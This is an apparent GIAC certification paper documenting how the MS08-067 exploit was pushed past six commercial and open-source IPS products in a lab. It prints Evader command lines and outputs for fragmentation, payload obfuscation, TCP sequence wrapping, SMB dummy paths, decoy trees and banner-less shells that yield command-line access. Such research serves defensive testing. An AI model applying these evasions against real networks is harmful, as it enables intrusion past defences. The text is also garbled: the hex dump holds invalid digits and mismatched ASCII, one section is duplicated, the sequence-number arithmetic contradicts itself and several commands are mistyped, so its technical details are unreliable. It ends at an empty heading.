BEATING THE IPS

GIAC (GCIA) Gold Certification

Author:
Michael Dyrmose
Security Consultant
Dubex A/S
mdy@dubex.dk  dyrmose@gmail.com

Advisor:
Rob VandcnBrink

Accepted:  January 5th 2013

Abstract
This paper introduces various Intrusion Prevention System (IPS) evasion techniques and shows how they can be used to successfully evade detection by widely used products from major security vendors. By manipulating the header, payload, and traffic flow of a well-known attack, it is possible to trick the IPS inspection engines into passing the traffic - allowing the attacker shell access to the target system protected by the IPS.
1. Introduction

Firewalls and Intrusion Prevention Systems (IPS) are core equipment in any enterprise or organization’s network infrastructure. While a simple firewall filters traffic based on information such as TCP/UDP ports and IP-addresses, IPSs are doing a much more in-depth investigation into the actual data contents of the network packet. To really understand and evaluate the network packets, the system needs a deep understanding of the network protocols in use. Implementing protocol understanding might seem like a fairly straightforward task; however, it often proves not to be.

Back in 1998, Ptacek and Newsham demonstrated how IDS systems could be evaded by using various techniques such as overlapping fragments, wrapping sequence numbers, and packet insertion. This was possible because the IDS might not process and interpret the packets in the same way the protected host behind it would (Ptacek & Newsham, 1998).

This paper will show that some of the techniques introduced by Ptacek and Newsham can still be used today. When applying different evasion techniques to a known and well-documented attack, it is possible to bypass a range of IPS products from a variety of major vendors. The techniques used in this paper tamper with different protocols spanning the Internet Layer (IPv4), the Transport Layer (TCP) and the Application Layer (SMB).

The paper begins with an introduction to different areas in the field of evasion as well as a technical explanation of the vulnerability being exploited. This is followed by a study of the impact of applying different evasion techniques to combat the IPS solutions. The study will prove just how vulnerable modern IPS products are to minor modifications to the attack.

Michael Dyrmose, mdy@dubex.dk
2. Evasion techniques

There are a number of quite different approaches and techniques that can be used when it comes to IPS evasion. This chapter provides an overview of the different categories.

2.1. Obfuscation

Simply speaking, obfuscation is the process of taking a readable string of characters, and turning it into something that is unreadable (obfuscated). Though the result may be difficult to interpret or identify, the obfuscated result still performs the same actions as the original string. Often, this technique is used by attackers to hide malicious activity in executable code. This paper will use the built-in obfuscation capabilities in the attack tool, when simple string-matching filters are the final obstacle to overcome.

2.2. Encryption and tunneling

Encryption and tunneling of encrypted data is another strategy that can be used to avoid IPS inspection. Encrypting the attack by sending it through an SSH connection or in a VPN tunnel makes it virtually impossible for the IPS to inspect the data. To do this, the IPS has to be placed at a point in the network which lies after the tunnel termination (Burns & Adesina, 2011). This paper does not use any techniques in this category, as this approach would require that a previous connection was established to the target machine through the IPS.

2.3. Fragmentation

By splitting up malicious network packets into smaller fragments, an attacker might be able to circumvent the network security mechanisms in place. This approach is known as fragmentation. The issue with fragmentation is that the IPS has to reassemble the packets in order to identify the attack. Each fragment contains a value in the header that informs the receiver of the data’s position in the original data stream. If the fragments are
modified in such a way that the fragments are overlapping, reassembly becomes complex, as it is not clear which of the fragments’ data should be used. To add to the confusion, different operating systems treat overlapping fragments differently.

So if the IPS reassembles the packets differently from the end host, it may reassemble the fragments to a non-malicious payload and allow it. At the same time, the end host reassembles the same fragments into a malicious payload, thus allowing the attacker to compromise the system (Baggett, 2012). Judy Novak’s paper on fragmentation reassembly discusses these issues and demonstrates how Snort uses a preprocessor to handle fragments differently based on the systems it’s configured to protect (Novak, 2005). In the demonstration section of this paper, both simple fragmentation and overlapping fragments will be used in some scenarios.

Another approach in the area of fragmentation is simply to delay the fragments. If the IPS has a different timeout for fragments than the end host, the IPS can potentially be evaded by delaying the packets. When the IPS receives the next fragment, it has lost the context of the previously received fragments and allows the packet, since the fragment on its own is not malicious. The end host might still be waiting for the fragment though, and will reassemble the fragments into the malicious payload. This paper does not use any evasion techniques that relate to timeouts.

2.4. Protocol violations

Many attacks are targeted at complex protocols such as SMB (Server Message Block). In order to provide protection to a complex protocol, the IPS has to have a deep understanding of it. The implementation also needs to be fault-tolerant and resilient to be able to cope with excessive and unexpected connections and requests. The research presented in this paper utilizes techniques from this category to great extent. The results will show how modified header values, flags and decoy connections can be used to successfully evade many IPS products. Each approach will be described in more detail when used.

Michael Dyrmose, mdy@dubex.dk
3. Building the evasion research lab

This section provides an overview of the products tested, as well as an introduction to the attack that is used in the attempts to compromise the target machine.

3.1. Test subjects

The target machine in each test scenario is a vulnerable Windows XP (SP2) host, which in turn is protected by the following products with IPS capabilities:

- HP TippingPoint IPS
- Check Point Firewall with IPS Blade
- Palo Alto Networks Firewall
- Cisco ASA with integrated IPS
- Fortinet FortiGate
- Snort (in-line mode using Security Onion)

3.2. Selecting a suitable attack

To properly test the impact of using evasion techniques, it’s important to use an attack that all the IPS products are able to identify. The attack suited to this is an exploit on the well-known MS08-067 vulnerability. This security flaw was used by the infamous Conficker worm, which infected millions of systems worldwide in 2008 and the following months and years.

According to the official security bulletin from Microsoft, the vulnerability lies in the Server service, which is used for resource sharing in Windows networks. This vulnerability affects a wide range of Windows versions, including Windows XP, Windows Vista, and Windows Server 2008. By sending a modified RPC request to a vulnerable system, it is possible to execute malicious code and gain full and unrestricted access.

*Michael Dyrmose, mdy@dubex.dk*
Even though the MS08-067 exploit is ‘old’, and due to OS patching does not pose as big a threat anymore, it is still a good example to use when evaluating evasion techniques. This is both due to the history and publicity that the Conficker worm received, as well as the fact that the security vendors have now had lots of time to adjust and improve their protections against the attack. Besides… the Conficker worm exploiting this vulnerability is still active on the Internet as of 2012 (Kandek, 2012).

3.3. Technical details

After deciding which attack to use in the research, let’s take a deeper look at the MS08-067 vulnerability. File and printer sharing in a Windows network is achieved through establishing SMB sessions between the client and the server. During this session a call to the function NetPathCanonicalize is made. This function is used to reduce the path of a requested network resource into the shortest form, presumably in part to eliminate directory traversal attacks.

However, in vulnerable versions of the service, this function is susceptible to buffer overflow attacks. This happens when the directory traversal reduction feature is invoked, by sending paths such as

\c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

The vulnerability is caused by the way the function handles string manipulation in memory (Racicot, 2008).
3.4. Tools

A variety of free tools were used to help conduct the research that this paper documents. The following is an introduction to the tools.

**Evader** - To test different evasion techniques, this paper uses the free tool *Evader* by the Helsinki-based security company Stonesoft, released on July 23, 2012. This tool makes it possible to apply different evasion techniques to the attack. The author of this paper is not affiliated with Stonesoft in any way, nor is the use of the tool an endorsement of the tool, or any of Stonesoft's other products. The tool is simply used to test different strategies and evasion techniques, which also means that this paper does not pursue to try every available feature of the tool.


**libemu** - *libemu* is a small software package that offers x86 shellcode emulation capabilities. It can be used to test potential malicious payloads and identify Win32 API calls. It was released by Paul Baecher and Markus Koetter in 2007.

[http://libemu.carnivore.it/](http://libemu.carnivore.it/)

**Wireshark** - *Wireshark* is a widely used software package for network traffic capture and analysis. In this paper it is used to analyze the traffic between the attacker, the IPS, and the target host.


**HxD** - *HxD* is a freely available hex-editor created by Maël Hörz. In this paper it is used to view raw hex data conveniently.


---

*Michael Dyrmose, mdy@dubex.dk*
3.5. Testing the attack

As introduced in the previous section, the tool Evader is used to perform the attack on the MS08-067 vulnerability. Before looking at any evasion techniques, let’s validate that the tool is in fact working, and that the traffic looks as expected.

We start out by directly attacking the target host, with no IPS protecting it. The target is a virtual machine running a vulnerable version of Windows XP SP2, with the hostname *mdy-victim*. The tool implements a randomization of the packet payload, but in order to better compare the traffic when using different evasion techniques, the randomization seed is fixed to the value ‘1’ in all attacks in the paper.

![Figure 1: Attacking the target directly](image)

3.6. Analyzing the attack payload

As Figure 1 shows, the attack is successful and the machine is compromised, giving the attacker a command-line shell. Figure 2 shows the malicious traffic using Wireshark, and it is clear that a call was made to the `NetPathCanonicalize` function.

---

*Michael Dyrmose, mdy@dubex.dk*
The payload in the NetPathCanonicalize request contains the path to be reduced and it is shown in Figure 3 using the hex editor HxD.

```
0000 5c 00 46 4e 7a 4d 65 4d 62 5a 69 74 64 63 77 51  \_FNzMEBZitdcwQ
0010 76 59 58 65 66 64 43 4e 63 56 49 6d 71 6f 67 6f  VYXencNCv1mWqQG
0020 5a 4c 75 6c 69 6d 69 6e 67 65 61 73 65 64 65 6c  ZlugttfpypjBM
0030 4e 6d 5a 77 74 4d 9a 5a 51 59 49 54 45 64 68 69  NmpzwMeZgZkdhWh
0040 62 47 4e 6e 6f 6e 65 65 6e 64 6f 6e 65 64 69 66  bGKnwbvzHddvL
0050 6e 45 58 5a 63 7a 7a 68 7a 65 6c 45 6b 42 69 6c  EZAzzzzzAzAzAzAc
0060 5a 43 4f 4c 45 53 63 68 5f 62 65 63 6b 65 72 6c  aCofLsZhZberekcl
0070 69 6e 67 72 6f 6e 65 72 69 7a 65 4e 61 6d 65 64  ingenernediezAndMe
0080 5a 4c 75 6c 69 6d 69 6e 67 65 61 73 65 64 65 6c  ZlugttfpypjBM
0090 4e 6d 5a 77 74 4d 9a 5a 51 59 49 54 45 64 68 69  NmpzwMeZgZkdhWh
00a0 62 47 4e 6e 6f 6e 65 65 6e 64 6f 6e 65 64 69 66  bGKnwbvzHddvL
00b0 6e 45 58 5a 63 7a 7a 68 7a 65 6c 45 6b 42 69 6c  EZAzzzzzAzAzAzAc
00c0 5a 43 4f 4c 45 53 63 68 5f 62 65 63 6b 65 72 6c  aCofLsZhZberekcl
00d0 69 6e 67 72 6f 6e 65 72 69 7a 65 4e 61 6d 65 64  ingenernediezAndMe
00e0 5a 4c 75 6l 69 6d 69 6e 67 65 61 73 65 64 65 6c  ZlugttfpypjBM
00f0 4e 6d 5a 77 74 4d 9a 5a 51 59 49 54 45 64 68 69  NmpzwMeZgZkdhWh
0100 62 47 4e 6e 6f 6e 65 65 6e 64 6f 6e 65 64 69 66  bGKnwbvzHddvL
0110 6e 45 58 5a 63 7a 7a 68 7a 65 6c 45 6b 42 69 6c  EZAzzzzzAzAzAzAc
0120 5a 43 4f 4c 45 53 63 68 5f 62 65 63 6b 65 72 6c  aCofLsZhZberekcl
0130 69 6e 67 72 6f 6e 65 72 69 7a 65 4e 61 6d 65 64  ingenernediezAndMe
0140 5a 4c 75 6l 69 6d 69 6e 67 65 61 73 65 64 65 6c  ZlugttfpypjBM
0150 4e 6d 5a 77 74 4d 9a 5a 51 59 49 54 45 64 68 69  NmpzwMeZgZkdhWh
0160 62 47 4e 6n 6e 6f 6e 65 65 6e 64 6f 6e 65 64 69  bGKnwbvzHddvL
0170 6e 45 58 5a 63 7a 7a 68 7a 65 6c 45 6b 42 69 6c  EZAzzzzzAzAzAzAc
0180 5a 43 4f 4l 45 53 63 68 5f 62 65 63 6b 65 72 6c  aCofLsZhZberekcl
0190 69 6e 67 72 6f 6e 65 72 69 7a 65 4e 61 6d 65 64  ingenernediezAndMe
01a0 5a 4l 75 6c 69 6d 69 6e 67 65 61 73 65 64 65 6c  ZlugttfpypjBM
01b0 4e 6d 5a 77 74 4d 9a 5a 51 59 49 54 45 64 68 69  NmpzwMeZgZkdhWh
01c0 62 47 4e 6n 6e 6f 6e 65 65 6e 64 6f 6e 65 64 69  bGKnwbvzHddvL
01d0 6e 45 58 5a 63 7a 7a 68 7a 65 6c 45 6b 42 69 6c  EZAzzzzzAzAzAzAc
01e0 5a 43 4f 4l 45 53 63 68 5f 62 65 63 6b 65 72 6c  aCofLsZhZberekcl
01f0 69 6e 67 72 6f 6e 65 72 69 7a 65 4e 61 6d 65 64  ingenernediezAndMe
```

Figure 3: Path contents of malicious packet

---

Michael Dyrmose, mdy@dubex.dk

---

Beating the IPS | 9
The payload contains the buffer overflow exploit, as well as the shellcode used to obtain command-line access. By using the Wireshark functionality to only view the printable characters, we clearly see the directory traversal attempt

```
\..\..\AMGRUEP(...) 
```

that activates the vulnerable code. The entire string of printable characters is shown in Figure 4.

```
\FN2MFebZItdcwQvXendCNCyLmQqozGluo4tfppyJBrMdNmZpwMeZwqIZZdWbeB6NkwvZdWd1 
OiliucNaKYuapyEBtnDeUeEMZkCzz$GgNj2Ytt[s,nA:a?mWt$GUk=J9^sGU][QAeK#U!l 
"^h8l<U'KuQZ?S3U$&3JbnxNAenEE41D]l8]w7?f?n'I'x$6L<ls1]QWCCFsnf>C}]Yu?}t{"} 
fX,?2\..\..\AMGRUEPn0MYZ'oLXPMPNPKQDEGDGPIMQATRFHUAESPAWEjBLZMnLBIP5I,Ed 
QTLN0YREZV 
```

**Figure 4:** The printable characters of the payload

The Conficker worm performs a number of post-exploit actions, such as self-duplication, modifying the Windows registry, and setting up a server to aid in spreading the infection. As we’re not out to infect anyone with the tool let’s have a look at what the payload actually does. This is done by analyzing the payload using libemu’s sctest. sctest simulates an execution of the payload, looking for code that hooks into running processes. The output from running sctest is shown in Figure 5.

```
# /opt/libemu/bin/sctest -gs < evader_payload -s 200000 -v 
verbose = 1 
success offset = 0x00000066 
stepcount 200000 
MODULE LoadLibraryA ( 
   LPCTSTR lpFileName = 0x000016218 => 
   = "ws2_32"; 
) = 0x71a10000; 
```

**Figure 5:** Using sctest to analyze the payload

The output shows the shellcode utilizing the WinSock ws2_32.d1l to create a socket connection back to the attacker. This is a classic way to obtain Windows command-line access (Skape, 2003).

Michael Dyrmose, mdy@dubex.dk
4. Evasion research

This chapter presents research into ways to evade the different IPS products introduced in Section 3.1. Whenever possible, the test subject is configured to use the recommended settings provided by the vendor. This provides means of comparing how the different products handle the same attack and evasion techniques. In the cases where recommended settings are not available, the product is configured manually. Each test-lab introduction includes a description of how the product is configured. For each product, the first test is always to validate that when using no evasions, the IPS does in fact identify and block the attack.

Please note that this paper only looks at how susceptible the different products are to the different evasion techniques used. It is not meant as an overall evaluation to determine which is the better IPS in general and should not be read as such.

4.1. HP TippingPoint

The first test subject is the IPS appliance from HP TippingPoint. The test-lab is built using a 600E appliance running the most recent software. The appliance has been updated with the latest Digital Vaccine (IPS signature file) available at the time of the tests. Each filter in the security profile has been configured to use the action that is recommended by HP TippingPoint. As the IPS is an in-line layer-2 device, it only requires an IP-address for the management port, and no routing between the attacker and the victim is necessary. Figure 6 shows a simplified network drawing of the setup.
4.1.1. Making sure the attack is blocked

First off, it’s important to make sure that the IPS is indeed capable of identifying and blocking the attack, so the first attack is sent without using any evasion techniques.

According to the results shown in Figure 7, the attack fails - possibly due to an IPS dropping the traffic. This behavior is of course expected, so let’s take a look at the traffic between the hosts using Wireshark, which is shown in Figure 8.

Michael Dyrmose, mdy@dubex.dk
As mentioned in Section 3.3, the attack is hidden inside the NetPathCanonicalize request. It is clear, that after receiving this packet, the IPS blocks the traffic. Since no response is received, the packet is retransmitted by the attacker four times.

Figure 9 contains part of the IPS log that shows the attack was identified by filter “6545: MS-RPC: Microsoft Server Service Buffer Overflow” and blocked based on the action setting for that particular filter.

After confirming that the IPS does in fact block the attack, it’s time to look at ways to evade the detection, allowing us to attack through the IPS.

### 4.1.2. Simple fragmentation

In the first evasion attempt simple fragmentation at the IP level will be used and the goal is to divide the malicious request into two packets. According to Figure 8, the length of the malicious NetPathCanonicalize request is 858 bytes. The tool supports fragment sizes at increments of 8 bytes, so the maximum fragment length will be set to 432. The result from running the attack using fragmentation is shown in Figure 10.
The output tells the same story as before - the attack is blocked due to the IPS. Looking at the traffic in Wireshark shown in Figure 11 it is clear that the malicious packet was split into two fragments - but it is still being blocked. The two packets have a size of 466 bytes and 426 bytes respectively, where the size of 466 bytes comes from the defined fragment size of 432 bytes plus an Ethernet header (14 bytes) and an IPv4 header (20 bytes), totaling 466 bytes.

![Figure 10: Attacking using IP fragmentation](image)

Interestingly, the IPS log shows that the attack was blocked by a different filter. The IPS now identifies the attack by the filter “3990: Exploit: Shellcode Payload”, as shown in Figure 12.

![Figure 11: Wireshark showing the fragmented attack](image)

As this filter is different, it appears that by using simple IPv4 fragmentation it is possible to bypass the “6545: MS-RPC: Microsoft Server Service Buffer Overflow” filter. The attack is still ultimately being blocked by the IPS, though.

Michael Dyrmose, mdy@dubex.dk
4.1.3. Payload obfuscation

Now, let’s take a look at the impact of using the obfuscation functionality built into the tool. Obfuscation was introduced in Section 2.1, and this approach has the potential to bypass the filter, if it is a simple string matching rule. First we’re using the obfuscation technique without combining it with the fragmentation shown before. Figure 13 shows the output from running the tool with only obfuscation enabled.

```
# ./evader --s=eth0 --src_ip=192.168.251.218 --dst_ip=192.168.251.213 --attack=conficker --randseed d=1 --extra-obfuscate_cmd=true

Info: Using random seed 1
Info: SMB Native OS is "Windows 5.1", targeting Windows XP SP2
Info: Sending MSRPC request with exploit
Info: Failed to send MSRPC request containing the exploit.
Info: TCP socket closed due to the maximum number of retransmits sent - probable IPS termination.
Info: No shell, attack failed
```

As the output shows, this apparently makes no difference to the IPS - the attack is blocked. By looking at the traffic in Wireshark shown in Figure 14, it is obvious that the traffic is blocked exactly like before, right after the NetPathCanonicalize request.

```
Figure 13: Attacking with obfuscation enabled
```

```
Figure 14: Wireshark showing the attack with obfuscation enabled
```

The TippingPoint logs show that the traffic was blocked by the MS-RPC filter - this screenshot is identical to Figure 9.

When using the obfuscation technique built into the tool, the IPS is still able to identify the attack as the MS-RPC buffer overflow attack. However, since the fragmentation approach actually had a confirmed impact, let’s see the result of combining the two. Figure 15 shows the result of this attack.

```
Figure 15 shows the result of this attack.
```

Michael Dyrmose, mdy@dubex.dk
Beating the IPS

The attack is successful and the host is compromised, despite being protected by the HP TippingPoint IPS. By using a combination of fragmentation and obfuscation, command-line access is achieved and the `hostname` command proves that the shell is in fact running on the target host. Looking at the traffic using Wireshark, it shows that the traffic is fragmented, and it is also clear, that the malicious packet is no longer dropped.

![Figure 15: Evading the HP TippingPoint IPS using obfuscation and IP fragmentation](image)

4.1.4. Wrapping sequence numbers

An evasion technique that falls a bit outside the categories discussed in Chapter 2, is wrapping TCP sequence numbers. TCP sequence numbers are used by the server/client to acknowledge received data. However, the TCP sequence number is a 32-bit number, which means that it can hold a maximum value of 4,294,967,295 (0xffffffff). If the starting value of the sequence number is close to the maximum, it wraps around and starts over from zero. The tool provides a way to test the impact of this, and by looking at the traffic in Wireshark we can find a suitable initial value.

![Figure 16: Wireshark showing the successful attack](image)

4.1.4. Wrapping sequence numbers

An evasion technique that falls a bit outside the categories discussed in Chapter 2, is wrapping TCP sequence numbers. TCP sequence numbers are used by the server/client to acknowledge received data. However, the TCP sequence number is a 32-bit number, which means that it can hold a maximum value of 4,294,967,295 (0xffffffff). If the starting value of the sequence number is close to the maximum, it wraps around and starts over from zero. The tool provides a way to test the impact of this, and by looking at the traffic in Wireshark we can find a suitable initial value.

Michael Dyrmose, mdy@dubex.dk
Figure 17 shows using Wireshark, that the relative sequence number of the NetPathCanonicalize exploit packet is 568. So by subtracting a number less than 568 from 0xFFFFFFFF, the sequence numbers will have wrapped around and started over when the malicious packet is sent. Subtracting 560 from the maximum value, gives an initial sequence number of 0xFFFFFFFF.

Figure 18 shows the output of attacking with the initial sequence number set manually and also using the built-in obfuscation capabilities. As the output shows, command-line access is achieved. When looking at the traffic using Wireshark it is clear that the sequence numbers did in fact wrap around. By default, Wireshark calculates relative sequence numbers, starting each new TCP stream at 0, regardless of the actual initial sequence number. So it is necessary to look in the raw packet data, and here it’s clear that the initial sequence number is 0xFFFFFFFF.

Michael Dyrmose, mdy@dubex.dk
The relative sequence number of the packet containing the malicious request is still identified as 568, as shown in Figure 20. However, when looking in the raw packet data, the sequence number is actually 0x00000007, which means that the number has wrapped around.

This section presented two techniques that were successfully used to evade detection by the HP TippingPoint IPS resulting in the protected host being compromised.
4.2. Check Point

The second test subject is the IPS enabled firewall from Check Point. The test lab consists of a UTM-1 270 appliance running the latest software from the vendor, including an activated IPS software blade. The appliance was updated with the most recent protections at the time of the tests. The security profile on the appliance has been configured to use the recommended settings provided by the vendor.

The lab is split into two networks separated by the firewall - an External network and an Internal network. The firewall policy consists of only one rule, which allows traffic to/from any destination. This basically eliminates the firewall capabilities, since the scope of this paper is solely the IPS features. Routing between the External (attacker) network and the Internal (victim) network is done by the appliance. Figure 21 shows a simplified overview of the lab.

![Figure 21: Simplified overview of Check Point IPS lab](image)

Michael Dyrmose, mdy@dubex.dk
4.2.1. Making sure the attack is blocked

The first exercise is to make sure that the IPS does in fact block the attack, when no evasions are applied. This is to validate that it is identifying and stopping the attack. Figure 22 shows the output from executing the preliminary test.

According to the output, the attack fails at the SMB session setup. This is different than the previous test subject, so let’s take a look at the traffic using Wireshark.

Wireshark shows that the IPS blocks the attack right after seeing the Session Setup request, by sending a TCP Reset. The session is setup using a username of .\ which means that this is a Null session. Apparently the Check Point IPS-blade blocks any Null sessions when configured to use the default recommended settings. This is confirmed by the IPS event log shown in Figure 24.

Null sessions are primarily used in trust relationships among Windows servers to achieve things such as resource enumeration between trusted domains, user authentication by computers outside the domain, and by the SYSTEM account (Asadoorian, 2002). Due to this fact, a lot of enterprise networks might need to allow Null Sessions to function correctly. This paper looks at evading the MS08-067 protection and not Null...
sessions in general, so the Check Point IPS configuration has been modified, to allow Null session setup. After modifying the security profile to allow Null sessions, the attack is retried and the output from this is shown in Figure 25.

As the output shows, the attack is blocked again. This time, however, the response is similar to the one received when testing the HP TippingPoint IPS. Figure 26 shows the traffic in Wireshark, and it is clear that the attack was blocked right after the malicious NetPathCanonicalize request packet was sent. Also note that by default the Check Point IPS sends a TCP reset, while HP TippingPoint IPS silently dropped it.

The IPS logs in Figure 27 shows that the attack was dropped by MS-RPC Enforcement violation, and that the attack was identified as an attempt to exploit the MS06-040 vulnerability.

This is actually not that surprising, as the MS06-040 vulnerability is closely related to the MS08-067 vulnerability. According to Microsoft the MS08-067 Security Bulletin,

Michael Dyrmose, mdy@dubex.dk
actually replaces the MS06-040 bulletin (Techcenter, 2008). After seeing the attack successfully blocked, let’s look at ways to evade this detection.

4.2.2. Retrying previous successes
The first test is to see if the attacks that successfully evaded the TippingPoint IPS also are able to trick the Check Point IPS as well. Figure 28 shows the output of running the previously successful fragmentation attack.

```bash
# ./evader --if=eth0 --src_ip=192.168.252.218 --dst_ip=192.168.251.213 --gw=192.168.252.1 --attack=conficker --randseed=1 --evasion=ipv4_frag,432 --extra=obfuscate_enc=true
Info: Using random seed 1
- IP4 fragments with at most 432 bytes per fragment
Info: SMB Native OS is “Windows 5.1”, targeting Windows XP SP2
Info: Sending MSRPC request with exploit
Info: Failed to send MSRPC request containing the exploit.
Info: TCP socket closed due to the maximum number of retransmits sent - probable IPS termination.
Info: No shell, attack failed
200: Connection terminated.
```

Figure 28: Check Point blocking the attack that evaded TippingPoint

The attack is blocked. Figure 29 shows that the attempt was blocked right after the NetPathCanonicalize request even though it was in fact fragmented.

The IPS log shows the same information as in the preliminary attack.

```
```

Michael Dyrmose, mdy@dubex.dk
The other successful attack using wrapping TCP Sequence Numbers was also blocked in a similar way. The output from this is identical to above and omitted from this paper.

4.2.3. Violating the SMB protocol

In Section 2.4 the concept of evasions through protocol violations was introduced. The SMB protocol which is the carrier of the attack on the MS08-067 vulnerability is quite complex, so by tampering with some of the values used, it just might be enough to trick the IPS.

The NT Create AndX Request function in the SMB protocol is used to request access to a resource on the host. In the case of this attack, it is used to request access to the \BROWSER service. This allows other users to browse the services offered by the host.

The value of this service could be altered to include redundant paths, such as \<PATH>\..\BROWSER - which equates to \BROWSER. This approach can be tested using the tool, and the output of this is shown in Figure 31.

```
# ./evader --if=eth0 --src_ip=192.168.252.218 --dst_ip=192.168.251.213 --gw=192.168.252.1 --attack=conficker --randseed=1 --evasion=smb_fnameofb,"add_paths"
Info: Using random seed 1
The following evasions are applied from stage smb_openpipe to end:
  * The SMB Filename is obfuscated:
    * Dummy paths are added ( a/b -> a/c/..../b )
Info: SMB Native OS is "Windows 5.1", targeting Windows XP SP2
Info: Sending MSRPC request with exploit
Info: No shell, attack failed
281: Failed.
```

Figure 31: Attacking with a modified path for the BROWSER service

The attack fails again, but this time with a different error message. Wireshark reveals that the NetPathCanonicalize packet was in fact allowed, and it received an answer (Write AndX Response). Figure 32 also shows that the path to the \BROWSER service was changed to:

```
\Hwg2RDus\..\BROWSER
```

Michael Dyrmose, mdy@dubex.dk
Figure 32: Wireshark showing that the malicious request succeeded

Figure 33 shows the Check Point IPS logs, which tells that this time the attack was in fact blocked by an internal built-in firewall rule. Although the lab contains a single defined firewall rule that allows any traffic between any hosts, Check Point firewalls still has default settings that can block traffic. In this case, the traffic is blocked, as the default port used by Evader to attach the shell is TCP port 6049. This port is normally used by the X Window System and for technical reasons, X Window System services are not included in Check Points “any” service (Check Point 2012).

However, this is easily evadable, as the Check Point firewall only looks at the port number in this case. By binding the shell to something different - such as TCP port 80 (HTTP) - it is possible to bypass this protection.

```bash
# ./eaver --if=eth0 --src_ip=192.168.252.218 --dst_ip=192.168.252.213 --ge=192.168.252.1 --attack=conficker --randsseed=1 --evasion=smb_framelobf,"add_paths" --extra-bindport=80

Info: Using random seed 1
The following evasions are applied from stage smb_openpipe to end:
* Dummy paths are added (a/b -> a/c//b )

Info: SMB Native OS is "Windows 5.1", targeting Windows XP SP2
Info: Sending MSRPC request with exploit
Info: Shell found, attack succeeded
Info: Opening interactive shell...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WIND0WS\system32\hostname
hostname
mdy-victim
C:\WIND0WS\system32

Figure 34: Successfully compromising host after binding shell to port 80

Michael Dyrmose, mdy@dubex.dk
As Figure 34 shows, command-line access was easily achieved after binding the shell to
the HTTP port. Also note that the payload obfuscation necessary to evade the HP
TippingPoint IPS is not needed here.

4.2.4. Decoy trees
Another evasion technique that falls into the category of protocol violations is decoy
trees. The next test shows the impact of opening a decoy tree, which is an unnecessary
connection to the IPC$ share. Before every normal SMB write, an extra connection is
opened and a single 0x00 byte is written, followed by the connection being closed. Figure
35 shows the result of using this technique and as it shows, it is actually sufficient to trick
the Check Point IPS into ignoring the attack.

Figure 35: Attacking using SMB decoy trees

Figure 36 shows the traffic using Wireshark, where the extra decoy trees being opened
and closed are highlighted.

Michael Dyrmose, mdy@dubex.dk
This section presented two evasion techniques that were successful against the Check Point IPS. Both fall into the category of protocol violations. It was however necessary to allow Null session setup in the profile, for the tests to be completed.

4.3. Palo Alto Networks

The third test subject in this paper is the firewall from Palo Alto Networks. The test lab consists of a PA-2020 appliance, running the latest software, PAN-OS 5.0. The built-in IPS is updated with the most recent threat data, which is 343-1609 at the time of writing. Two zones are defined on the appliance - the trusted zone and the untrusted zone. It is not necessary to use different networks, as the device is configured in Layer-2 mode. A single firewall rule is defined, allowing all traffic between the hosts, while still diverting it to the built-in IPS for inspection. The IPS is configured to use the default profile for vulnerability protection. Figure 37 shows a simplified overview of the test lab.
4.3.1. Making sure the attack is blocked

As in the previous labs the first attack is done without any evasion techniques being used. This is to validate, that the IPS is identifying and stopping the attack. Figure 38 shows the output from running the tool.

```bash
# ./evader --if=eth0 --src_ip=192.168.251.218 --dst_ip=192.168.251.213 --attack=conficker --randsee

INFO: Using random seed 1
INFO: SMB Native OS is "Windows 5.1", targeting Windows XP SP2
INFO: Sending MSRPC request with exploit
INFO: Failed to send MSRPC request containing the exploit.
INFO: TCP socket closed due to the maximum number of retransmits sent - probable IPS termination.
INFO: No shell, attack failed
200: Connection terminated.
```

The output is identical to the previous IPSs, as the attack is blocked. This behavior is of course expected, so let’s take a look at the traffic between the attacker and the victim, using Wireshark.
Once again the IPS blocks the traffic right after the NetPathCanonicalize request. Due to the lack of response, the packet is retransmitted by the attacker. The IPS log, shown in Figure 40, confirms that the traffic was blocked, and shows that it was identified as “Microsoft Windows Server Service Remote Stack Overflow Vulnerability”.

Palo Alto Networks provides additional information about the protection, and in the description shown in Figure 41, it is clear that the protection is in fact identifying the attack as an attempt to exploit the MS08-067 vulnerability.

Having confirmed that the appliance blocks the attack in its default settings, let’s see if there are ways to evade it.
4.3.2. Retrying previous successes

In the previous test labs the following successful evasion techniques were found:

- Fragmenting the IP packets with at most 432 bytes per fragment
- Setting the Initial TCP sequence number to `0xFFFFFFFF - 560`
- Adding ‘dummy paths’ to the SMB `\BROWSER` filename
- Using SMB ‘decoy trees’ before the malicious packet is sent

All of these attacks were tested against the device from Palo Alto Networks with no success. Output from running the attack tool as well as the Wireshark screenshots are not included in this paper, as they would not provide any additional information.

4.3.3. Decoy trees

As stated above, the attack using 1 decoy tree was unsuccessful against the Palo Alto Networks appliance. However, look at what happens when things gets just slightly more complex. In the next test, instead of opening one decoy tree, two are opened, and instead of one write request two are performed. In addition to this, the data written is not one `0x00` byte, but two bytes of MS-RPC request-like data. It is possible to send this type of data using the tool, and the output from doing it is shown below in Figure 42.

![Figure 42: Attack using more complex SMB decoy trees](image-url)

Michael Dyrmose, mdy@dubex.dk
Shell access is achieved, but after sending the hostname command, the connection is apparently cut. When looking at the traffic using Wireshark in Figure 43, we see that the decoy tree connections are being opened and closed before the malicious NetPathCanonicalize request. Note how two decoy trees are open at the same time.

The small 2 byte payload in each write is the hex value \texttt{0x0500}. This data is part of the header in an RPC request, telling the major and minor version number of the protocol according to the SAMBA Developers Guide (Vernooij, 2009). Sending a payload of \texttt{0x00} was tested but proved unsuccessful, so apparently the payload matters.
Although shell access was achieved, the connection was cut after the `hostname` command was executed. Figure 44 shows that the IPS identified it as “Windows Command Shell Access” and reset the connection.

![Figure 44: IPS logs showing the protection identifying the attack](image)

Apparently, this is identified by the banner of the shell. The tool provides a way of opening a command shell without the Microsoft banner and command prompt, and this is sufficient to evade the final obstacle. Figure 45 shows the output of the tool with the command successfully run.

```bash
# ./evader --if=eth0 --src_ip=192.168.251.218 --dst_ip=192.168.251.213 --attack=conficker --randseed d=1 --evasion=smb_decoytrees,"2","2","2","random_msrpcreq" --extra=no_banner=true
Info: Using random seed 1
The following evasions are applied from stage smb_connect to end:
- Before normal SMB writes, 2 SMB trees are opened and 2 writes are performed to them. The write payload is 2 bytes of MSRPC request-like data.
- Info: SMB Native OS is "Windows 5.1", targeting Windows XP SP2
- Info: Sending MSRPC request with exploit
- Info: Shell found, attack succeeded
- Info: Opening interactive shell...
```

![Figure 45: Executing the attack with no shell banner](image)

Command-line access is achieved and there is no evidence of the attack in the logs.

### 4.3.4. Simple fragmentation

